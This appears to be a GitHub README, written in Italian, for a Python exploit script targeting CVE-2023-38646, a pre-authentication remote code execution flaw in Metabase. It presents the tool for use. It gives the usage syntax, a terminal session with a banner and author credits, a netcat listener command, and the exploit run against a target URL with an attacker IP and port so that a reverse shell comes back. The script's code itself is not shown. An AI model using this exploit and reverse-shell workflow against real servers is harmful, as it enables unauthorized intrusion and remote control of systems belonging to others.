passwa11/cve-2023-38646Script di exploit in Python per CVE-2023-38646, una vulnerabilità di esecuzione di codice remoto pre-autenticazione in Metabase, che consegna una reverse shell a un host controllato dall'attaccante.
"Questa vulnerabilità, designata come CVE-2023–38646, consentiva agli attaccanti di eseguire comandi arbitrari sul server senza richiedere alcuna autenticazione."
Un rapido script exploit di reverse shell per cve-2023-38646. Non ho scoperto questa vulnerabilità, ho solo realizzato lo script.
root@box:~/CVE-2023-38646# python3 exploit.py
_______ ________ ___ ___ ___ ____ ____ ___ __ _ _ __
/ ____\ \ / / ____| |__ \ / _ \__ \|___ \ |___ \ / _ \ / /| || | / /
| | \ \ / /| |__ ______ ) | | | | ) | __) |_____ __) | (_) |/ /_| || |_ / /_
| | \ \/ / | __|______/ /| | | |/ / |__ <______|__ < > _ <| '_ \__ _| '_ \
| |____ \ / | |____ / /_| |_| / /_ ___) | ___) | (_) | (_) | | | | (_) |
\_____| \/ |______| |____|\___/____|____/ |____/ \___/ \___/ |_| \___/
autore: c0rnbread
crediti:
https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
https://raw.githubusercontent.com/kh4sh3i/CVE-2023-38646/main/CVE-2023-38646.py
Utilizzo: python3 exploit.py <url> <ip-locale> <porta-locale>
Esegui utilizzando l'URL di base e l'IP locale con la porta per la reverse shell
root@box:~/CVE-2023-38646# nc -lvnp 4444
root@box:~/CVE-2023-38646# python3 exploit.py http://example.com 10.10.10.2 4444